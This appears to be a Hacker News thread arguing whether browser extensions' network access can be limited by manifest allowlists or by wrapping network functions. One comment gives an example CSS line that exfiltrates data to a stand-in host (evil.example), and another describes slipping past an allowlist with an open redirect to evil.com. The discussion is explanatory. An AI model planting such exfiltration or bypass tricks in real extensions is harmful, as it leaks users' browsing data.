Depending on how you approach it you either end up having to solve the halting problem (spoiler: it's impossible), or restricting what domains an addon can connect to (also impossible given the way addons work. they can inject arbitrary scripts into pages to make requests for them).

It's possible to make extensions declare which hostnames or registrable domains they need to communicate with. (Apart from pages in which they can run which is already defined with WebExtensions.)

But you have all the code and you know which functions/methods/etc that can do requests so it should be trivial... either way, if it is not a solvable problem, there is a major problem in the design.

>But you have all the code and you know which functions/methods/etc that can do requests so it should be trivial

but you can't. See the last part of my comment: "they can inject arbitrary scripts into pages to make requests for them".

>either way, if it is not a solvable problem, there is a major problem in the design.

Not really. It's like complaining that debuggers can impersonate programs they attach themselves to.

> they can inject arbitrary scripts into pages to make requests for them

disallow that behavior?

You could also just pull that code but it might change based on request origin...

Lots of the best extensions are basically "change this webpage when it loads to make it work better." You can't "disallow this behavior" without crippling them.

It could do all the processing locally, easily... what are you talking about?

>It could do all the processing locally, easily...

That's irrelevant. If you can make changes to the page, you can exfiltrate data. The security model for addons isn't designed with restricting an addon's network activity in mind, see my other post: https://news.ycombinator.com/item?id=25623281

Depends on what your addons does. Most addons modify the page in some way. It's also not limited to injecting javascript. You can also exfiltrate data by injecting css (eg. doing something like background-image: url("http://evil.example/?payload=...")) or do javascript injection in alternate ways (eg. adding a <script> element, or adding an onclick attribute).

That's one of the most fundamental functions a browser extension could have

I think you’re right if you’re trying to enumerate where a plug-in will call. However it’s also possible to require that a plug-in provide a list of domains it will call as part of its manifest, display that list to the user and use it as a white list for network access by the plug-in.

This ends up effect as magically determining where it’ll call, with a lot less work.

Except the add on can inject js into webpages that you have open and let the page make connections outside the extension sandbox.

Also it’s pretty easy to just proxy requests through a whitelisted server side site so https://good.com is all that shows but it requests good.com?dest=https://evil.com

Calling a website good.com doesn't make it good. A site with open redirects is a bad site.

Is that why Mozilla is blocking all addons on mobile (except for the selected 11)? They need to fix that shit or start adding useful features to Firefox... Not sure why they arent blocking all extensions on desktop too if they are so bad though.

They're already bleeding market share badly to the Chromium family, and doing that would be quite a thick nail to their popularity coffin...

Ah, that’s clearly a big issue. Never mind.

If you enumerate the ways browsers can make network requests, and if you have access to the source code of the extension, you could prepend the code with a bit of JavaScript that replaces the various network-related functions and methods with code that logs and/or validates the URL before making a request.

The attacker will then inspect itself to see if network loggers are being used, or if it's running in a test environment (network location, machine fingerprint, et.al.) then adapt its behavior accordingly to avoid setting off any warnings.

No, I’m saying modify the source of the extension so that the extension can only make requests to a whitelist of urls. The extension might be able to disable malicious functionality or something, but you can be certain that it’s not making malicious requests.

On my android tablet they checked if my keyboard was us/eu (rain down the malware) or russian/chinese (Keep the app as-is)

And this was Google Play verified with a million downloads.